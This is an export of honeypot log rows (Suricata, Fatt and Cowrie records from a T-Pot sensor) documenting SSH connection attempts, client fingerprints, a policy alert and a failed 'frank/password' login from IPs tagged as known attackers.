32503	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:51:50.147751+03	2021-09-20 15:00:03.563717+03	{"_id": "qQYMA3wBvYTbRNuETUqp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1752191867429980, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32790, "dest_port": 22, "timestamp": "2021-09-20T11:51:50.147751Z", "@timestamp": "2021-09-20T11:51:50.147Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32504	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:51:50.147798+03	2021-09-20 15:00:03.565717+03	{"_id": "rAYMA3wBvYTbRNuETkqy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 32790, "dest_port": 22, "timestamp": "2021-09-20T11:51:50.147798", "@timestamp": "2021-09-20T11:51:50.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32505	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:51:50.113493+03	2021-09-20 15:00:03.566718+03	{"_id": "swYMA3wBvYTbRNuEUEof", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "bbf4d8f5527c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:51:50.113493Z", "@timestamp": "2021-09-20T11:51:50.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32506	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:52.461534+03	2021-09-20 15:00:03.567717+03	{"_id": "wAYMA3wBvYTbRNuEV0rw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:31487 (192.168.176.2:22) [session: 7c2b278c12da]", "session": "7c2b278c12da", "@version": "1", "protocol": "ssh", "src_port": 31487, "dest_port": 22, "timestamp": "2021-09-20T11:51:52.461534Z", "@timestamp": "2021-09-20T11:51:52.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32507	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:51:52.727721+03	2021-09-20 15:00:03.569717+03	{"_id": "wgYMA3wBvYTbRNuEWUpj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:51:51.198840+0000", "pkts_toclient": 4, "pkts_toserver": 6, "bytes_toclient": 895, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1256228371499192, "payload": "AAADVAUUzDQbz/jXsWgaFtX1Kw4PrgAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABAGcpTsg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 31487, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:51:52.727721Z", "@timestamp": "2021-09-20T11:51:52.727Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...4.....h....+.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............@..S."}}	1	\N	\N	alert	known attacker	\N
32508	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:51:52.727721+03	2021-09-20 15:00:03.571716+03	{"_id": "wwYMA3wBvYTbRNuEWkps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 31487, "dest_port": 22, "timestamp": "2021-09-20T11:51:52.727721", "@timestamp": "2021-09-20T11:51:52.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32509	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:51:50.148132+03	2021-09-20 15:00:03.572716+03	{"_id": "tAYMA3wBvYTbRNuEUEof", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "bbf4d8f5527c", "@version": "1", "timestamp": "2021-09-20T11:51:50.148132Z", "@timestamp": "2021-09-20T11:51:50.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32510	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:51:50.396991+03	2021-09-20 15:00:03.573717+03	{"_id": "tQYMA3wBvYTbRNuEUEof", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [frank/password] failed", "session": "bbf4d8f5527c", "@version": "1", "password": "password", "username": "frank", "timestamp": "2021-09-20T11:51:50.396991Z", "@timestamp": "2021-09-20T11:51:50.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32511	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:51:51.435741+03	2021-09-20 15:00:03.574718+03	{"_id": "vAYMA3wBvYTbRNuEVEoI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "bbf4d8f5527c", "@version": "1", "duration": 1.322559118270874, "timestamp": "2021-09-20T11:51:51.435741Z", "@timestamp": "2021-09-20T11:51:51.435Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32512	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:52.465515+03	2021-09-20 15:00:03.576718+03	{"_id": "vQYMA3wBvYTbRNuEVkqE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 31487, "timestamp": "2021-09-20T11:51:52.465515", "@timestamp": "2021-09-20T11:51:52.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32513	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:51:52.464494+03	2021-09-20 15:00:03.577717+03	{"_id": "vgYMA3wBvYTbRNuEV0rw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "7c2b278c12da", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:51:52.464494Z", "@timestamp": "2021-09-20T11:51:52.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32514	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:52:02.701863+03	2021-09-20 15:00:03.578717+03	{"_id": "1QYMA3wBvYTbRNuEgUqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 57702, "dest_port": 22, "timestamp": "2021-09-20T11:52:02.701863", "@timestamp": "2021-09-20T11:52:02.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32515	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:52:03.655741+03	2021-09-20 15:00:03.580717+03	{"_id": "3QYMA3wBvYTbRNuEgkrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:45878 (192.168.176.2:22) [session: 3c1b94f07f7e]", "session": "3c1b94f07f7e", "@version": "1", "protocol": "ssh", "src_port": 45878, "dest_port": 22, "timestamp": "2021-09-20T11:52:03.655741Z", "@timestamp": "2021-09-20T11:52:03.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32516	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:52:03.658661+03	2021-09-20 15:00:03.581718+03	{"_id": "3gYMA3wBvYTbRNuEgkrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3c1b94f07f7e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:52:03.658661Z", "@timestamp": "2021-09-20T11:52:03.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
